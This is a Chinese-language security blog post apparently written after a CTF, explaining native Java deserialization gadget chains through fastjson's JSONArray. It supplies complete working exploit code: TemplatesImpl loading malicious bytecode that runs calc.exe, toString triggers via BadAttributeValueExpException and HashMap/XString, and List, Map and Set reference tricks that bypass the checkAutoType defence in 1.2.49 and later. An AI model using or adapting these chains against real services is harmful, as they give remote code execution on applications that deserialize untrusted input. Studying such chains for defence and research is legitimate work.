fastjson原生反序列化

前言

很久之前跟了CC链和CB链,但是java反序列化还是不是很懂,最近VNCTF做了fastjson的二次反序列化,觉得很有必要自己细致地来研究一遍fastjson原生反序列化。

poc1和poc2链要求fastjson<=1.2.48

poc3、poc4、poc5链是fastjson 1.2.49 版本及以后。

fastjson 1.2.48

版本和依赖

jdk:1.8.0_66

maven:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

链子寻找

既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类实现了Serializable接口即可,最后找完只有两个类,JSONArrayJSONObject,这两个类都是继承了JSON类,这里我们就挑第一个来讲。(实际上这两个在原生反序列化当中利用方式是相同的)

1

虽然JSONArray有实现Serializable接口,但是它本身没有实现readObject方法的重载,那么只有通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链。

触发getter

注意JSON类里的toString方法,能自动调用toJSONString方法,而这里能调用任意类的getter方法。而有些类的 getter 方法是可以直接触发漏洞的,比如著名的TemplatesImplgetOutputProperties方法。

2

关于为什么能触发任意类的getter方法请看:

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%A6%82%E4%BD%95%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95

所以我们现在需要一个能触发任意类toString方法的地方。

触发toString

而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可。

在badAttributeValueExpException类中的readObject方法:

3

这个方法会读取一个对象,然后获取这个对象里的val属性的值,然后进行一系列判断,这里的System.getSecurityManager()方法默认返回null

4

所以我们反射修改val的值为某个类的对象,那么就可以调用这个对象的toString方法了。

poc1

所以整条链子很简单,这里给出poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main {
public static void main(String[] args) throws Exception{
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

//触发toString
BadAttributeValueExpException BadAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(BadAttributeValueExpException,"val", jsonArray);

//序列化,反序列化
String ser = serialize(BadAttributeValueExpException);
unserialize(ser);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

恶意字节码,calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class calc extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
Process calc = Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

5

触发toString的第二种方法

1
HashMap.readObject() -> XString.equals() -> 任意调 toString() 

先看HashMap.readObject()

6

跟进putVal,这里调用equals方法

7

继续跟进,到AbstractMap.equals,调用了XString的equals

8

继续跟进到XString的equals,可以看到可以调用任意类的toString,这里的obj2是JSONArray

9

至此就跟上面的链子连起来了。

测试调用任意类equals

函数改成自己写的某个类,这个类有equals方法。

10

成功进入。

11

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main {

public static void main(String[] args) throws Exception{
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

//XString.equals
XString xString = new XString("Infernity");
//序列化,反序列化
String ser = serialize(HashMap_to_anyequals_to_anytoString(xString,jsonArray));
unserialize(ser);
}
//HashMap.readObject() -> 任意equals() -> 任意toString()
public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{
//XString xString = new XString("Infernity");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}
//hashmap的put实际上就是,这个具体用法我也不清楚
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组,我去,破案了
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

为什么fastjson1的1.2.49以后不再能利用

从1.2.49开始,JSONArray以及JSONObject方法开始真正有了自己的readObject方法

12

SecureObjectInputStream类当中重写了resolveClass方法,其中调用了checkAutoType方法做类的检查:

13

14

TemplatesImpl类不被允许加载。

fastjson 1.2.49

版本和依赖如上,把fastjson版本改成1.2.49即可。

checkAutoType绕过

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
    byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

depth++;
try {
switch (tc) {
case TC_NULL:
return readNull();

case TC_REFERENCE:
return readHandle(unshared);

case TC_CLASS:
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));

case TC_ARRAY:
return checkResolve(readArray(unshared));

case TC_ENUM:
return checkResolve(readEnum(unshared));

case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}

case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}

再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关。那么就只剩下了reference引用类型了。

如何成为引用类型?

那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查?

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过checkAutoType()的检查!

这里以List为例:

poc3,List绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

//List绕过
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(exception);
//序列化,反序列化
String ser = serialize(arrayList);
unserialize(ser);

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射:

15

当再次写入同一对象时,在handles这个hash表中查到了映射

第一次写入:

16

第二次写入:

17

那么就会通过writeHandle将重复对象以引用类型写入

18

因此我们就可以利用这个思路构建攻击的payload了。

poc4,map绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

HashMap map = new HashMap();
map.put(templates, exception);
//序列化,反序列化
String ser = serialize(map);
unserialize(ser);

poc5,Set绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

//Set绕过
Set set = new HashSet();
set.add(templates);
set.add(exception);
//序列化,反序列化
String ser = serialize(set);
unserialize(ser);

至此 fastjson 全版本实现了原生反序列化利用!

参考文章:
https://justdoittt.top/2024/03/11/Fastjson%E4%BD%9C%E4%B8%BA%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84Gadget%E5%88%A9%E7%94%A8(%E5%85%A8%E7%89%88%E6%9C%AC%E9%80%9A%E6%9D%80)/?highlight=fast
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/


fastjson原生反序列化
http://example.com/2025/02/16/fastjson原生反序列化/
作者
Infernity
发布于
2025年2月16日
许可协议